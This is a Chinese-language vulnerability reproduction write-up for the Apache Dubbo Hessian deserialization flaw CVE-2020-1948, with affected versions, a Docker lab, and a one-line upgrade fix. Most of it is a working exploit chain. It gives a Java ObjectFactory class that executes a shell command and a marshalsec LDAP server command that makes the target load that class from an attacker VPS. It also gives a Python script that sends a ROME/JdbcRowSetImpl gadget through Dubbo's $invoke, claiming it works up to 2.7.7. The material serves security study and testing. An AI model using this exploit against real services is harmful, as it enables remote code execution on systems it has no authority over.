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170 lines
4.9 KiB
Markdown
170 lines
4.9 KiB
Markdown
# Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948
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## 漏洞描述
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Apache Dubbo 是一款高性能 Java RPC 框架。漏洞存在于 Apache Dubbo 默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。
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要想利用该漏洞需要满足以下条件:
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- Dubbo 服务端应用引入了 `com.rometools:rome:1.7.0` 或 `com.caucho:quercus:4.0.45` 等不安全的 rome、quercus 等第三方类库版本。
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- JDK 版本低于 `7u201` 或者低于 `8u191`(存在 RMI 或者 LDAP 这种 JNDI 注入方式),JDK 相关 RCE 漏洞利用方式及受影响的版本:
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- 通过 RMI 协议加载远程 RMI Registry 上的恶意对象,受影响的 JDK 版本:低于 `6u45` 或者低于 `7u21`。
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- RMI + JNDI 注入,受影响的 JDK 版本:低于 `6u132`、低于 `7u122` 或低于 `8u113`。
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- LDAP + JNDI 注入,受影响的 JDK 版本:低于 `6u211`、低于 `7u201`、低于 8u191 或 `11u1`。
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参考链接:
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- https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
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- https://hub.docker.com/r/dsolab/dubbo
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## 漏洞影响
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```
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Apache Dubbo 2.7.0 to 2.7.6
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Apache Dubbo 2.6.0 to 2.6.7
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Apache Dubbo all 2.5.x versions(已不再更新维护)
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```
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准确地说,也影响了 2.7.7 和 2.6.8 版本,因为修复方案被绕过。
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## 环境搭建
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docker-compose.yaml
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```
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version: "3"
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services:
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api:
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build: .
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image: dsolab/dubbo:cve-2020-1948
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container_name: cve-2020-1948
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ports:
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- "12345:12345"
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```
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执行如下命令启动一个 Apache Dubbo 2.7.7 版本的服务器:
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```
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docker-compose up -d
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```
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服务启动后,监听在 `your-ip:12345` 端口。
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## 漏洞复现
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准备 exp.java,编译:
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```java
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import javax.naming.spi.ObjectFactory;
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import javax.naming.Name;
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import javax.naming.Context;
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import java.util.Hashtable;
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import java.io.IOException;
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public class exp implements ObjectFactory {
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@Override
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public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
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try {
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Runtime.getRuntime().exec("touch /tmp/success");
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} catch (IOException e) {
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e.printStackTrace();
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}
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return null;
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}
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}
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```
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```
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javac exp.java
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```
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vps 开启 web 服务,托管编译后的 exp.class:
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```
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http://your-vps-ip/exp.class
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```
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启动 LDAP 服务,监听端口为 9999:
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```
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/#exp 9999
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```
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本地构建测试脚本 poc.py:
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```shell
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# -*- coding: utf-8 -*-
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import sys
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from dubbo.codec.hessian2 import Decoder,new_object
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from dubbo.client import DubboClient
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if len(sys.argv) < 4:
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print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
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print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
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sys.exit()
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client = DubboClient(sys.argv[1], int(sys.argv[2]))
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JdbcRowSetImpl=new_object(
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'com.sun.rowset.JdbcRowSetImpl',
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dataSource=sys.argv[3],
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strMatchColumns=["foo"]
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)
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JdbcRowSetImplClass=new_object(
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'java.lang.Class',
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name="com.sun.rowset.JdbcRowSetImpl",
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)
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toStringBean=new_object(
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'com.rometools.rome.feed.impl.ToStringBean',
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beanClass=JdbcRowSetImplClass,
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obj=JdbcRowSetImpl
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)
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resp = client.send_request_and_return_response(
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service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
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# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本
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method_name='$invoke',
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args=[toStringBean])
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output = str(resp)
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if 'Fail to decode request due to: RpcInvocation' in output:
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print('[!] Target maybe not support deserialization.')
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elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
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print('[+] Succeed.')
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else:
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print('[!] Output:')
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print(output)
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print('[!] Target maybe not use dubbo-remoting library.')
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```
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运行测试脚本:
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```
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python poc.py your-ip 12345 ldap://your-vps-ip:9999/exp
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```
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可以看到,LDAP 代理成功接收请求,并将请求转发到 vps:
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```
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.8.0.1/\#exp 9999
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Listening on 0.0.0.0:9999
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Send LDAP reference result for exp redirecting to http://10.8.0.1/exp.class
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```
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命令被成功执行:
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## 漏洞修复
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升级至最新版本。
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